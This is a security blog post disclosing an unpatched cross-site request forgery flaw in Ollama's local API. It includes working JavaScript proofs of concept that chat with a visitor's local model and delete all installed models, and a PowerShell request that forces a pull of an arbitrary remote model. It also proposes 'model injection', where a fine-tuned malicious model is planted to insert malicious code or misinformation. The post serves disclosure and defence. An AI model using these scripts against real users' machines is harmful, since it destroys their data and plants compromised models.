oh-llama: How I Hacked Ollama Using Basic CSRF
16/07/2025
Note: This vulnerability is unpatched. I have tried to get into contact with the ollama team to get this issue resolved but to no avail. I am now publishing this post to raise awareness about the issue. Also, no hate to the ollama team. Ollama is a super cool project and I am 100% certain that they are trying their best. I'm just publishing this to make sure that they actually know about it so that they can get it fixed.
Here we go again
omg can ai just stop being vulnerable to this pls?? its gonna be the death of me. Well basically I was just goofing around with ollama trying to turn it into an AI gf for a certain friend who is down bad (i dont have a gf anymore either... find my contact info below..). I found the API functionality really cool since it makes it useful for automation and stuff. However, I quickly found that it was literally vulnerable to CSRF (like I didn't even need to do DNS rebinding or anything...) I also ended up coming up with what I think might be a new sort of LLM vulnerability similar to prompt injection.
This is probably gonna be the shortest post I've ever written lol. That's just it. You can access the internal ollama API just using fetch() requests. Like, no goofy image shenanigans or anything like that.
AtomicByte from the future here, the above paragraph seems to have been heavily misinterpreted by a lot of people. I am talking about client side exploitation. I am not making server side requests to the ollama server.
Even if you have a firewall and only your computer can access it, you are still vulnerable. This is a really commonly misunderstood vulnerability. It's basically CWE-284, improper access control. What I am saying is that the API can be used by anyone because of this:
- Your computer can access the API, even if no one else's computer can
- If you visit a website, your browser executes the javascript. Thus, you execute the code
- Since your computer can access it, the request is successful
- Since it's an attacker controlled website, your instance can be fully manipulated by the attacker without them directly accessing it, since your computer accesses it for them
There's been a lot of talk on it recently. You can read more about it here: https://www.oligo.security/blog/0-0-0-0-day-exploiting-localhost-apis-from-the-browser
A common attack vector is DNS rebinding, but what I am doing is adapting the vulnerability to work with CSRF too.
So, the vulnerability is not just that "the API can be used". It's that it can be used by anyone, no matter how much firewalling you have. It doesn't need to be publicly accessible. All you need is to visit a website.
This is definitely a form of CSRF, but not your typical one.
Here's an AI chat app that "exploits" the vulnerability:
The Impact
This is what makes this a bit unique, since it seems to have very specific impact. You can chat with the AI remotely (which could result in DoS), delete models (another DoS), pull remote models (more on this later. it gets interesting...), etc.
PoC or GTFO
ok ok ok I hear you. Y'all want some PoC's. I got some.
Here's an AI chat app that shouldn't work but does:
Relevant JS
document.getElementById('msg').value = '';
fetch('http://localhost:11434/api/chat', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
model: "deepseek-r1:14b",
messages: [{ role: "user", content: msg }]
})
})
.then(r => r.text())
.then(data => {
// Parse streaming JSONL and extract assistant content
let response = '';
data.split(/\r?\n/).forEach(line => {
if (line.trim()) {
try {
const obj = JSON.parse(line);
if (obj.message && obj.message.content) {
response += obj.message.content;
}
} catch (e) {}
}
});
log.innerHTML += `<div>AI: ${response}</div>`;
});Boring, huh? Well here's a PoC to delete all of your models (credit where credit is due, thanks ChatGPT):
Relevant JS
[code to get tags here. you get the point]
...
document.getElementById('delete-all').onclick = async function() {
this.disabled = true;
this.textContent = 'Deleting All...';
const res = await fetch('http://localhost:11434/api/tags');
if (!res.ok) {
this.disabled = false;
this.textContent = 'Delete All Models';
return;
}
const data = await res.json();
if (data.models && Array.isArray(data.models)) {
for (const model of data.models) {
await fetch('http://localhost:11434/api/delete', {
method: 'DELETE',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ name: model.name })
});
}
}
fetchModels();
this.disabled = false;
this.textContent = 'Delete All Models';
};The last one is a bit harder to replicate, but it's well worth it. You have 2 options here: one is to self-host your own malicious OCI registry and push your ollama models there, or just test it using huggingface's registry. I went with the latter since it was easier.
The principle behind it is that it's a variant of prompt injection, but instead of using a malicious prompt, you use a model that is fine-tuned to do malicious things like inject malicious code (Eg. If you're using ollama with some AI coder), spread misinformation, etc. Basically twitter in an LLM. I call it "model injection".
Okay so, let's just go over the steps:
- Pull out your malicious registry with your malicious model
- Use the CSRF to pull the model
- Do steps 1 and 2 if you haven't already done them
That simple.
Unfortunately, I do not have the time nor the resources to fine tune my own AI model. Feel free to send me yours though :P. For my testing, I used tiny pirate as my malicious model. I cloned both that and llama3.2 locally. I then went into the ollama models folder and took the file named latest in the llama3.2 folder and replaced the the tiny-pirate's latest file with it. Now we have a model called tiny pirate that is actually llama3.2. We can check this by running it and verifying that it doesn't talk like that one friend. After this, I just made a small script to make the HTTP request:
$response = Invoke-WebRequest -Method Post -Uri 'http://localhost:11434/api/pull' -Body '{"model":"hf.co/RichardErkhov/phanerozoic_-_Tiny-Pirate-1.1b-v0.1-gguf","insecure":true}' -ContentType 'application/json'
$decoded = [System.Text.Encoding]::UTF8.GetString($response.RawContentStream.ToArray())
Write-Output $decodedYes, I know I coded it in the programming language known as microsoft /j but my loonix laptop got fried.
Click here for the full web version of the PoC.
and here is a video:
For spear phishing attempts, business inquiries, love letters, etc: or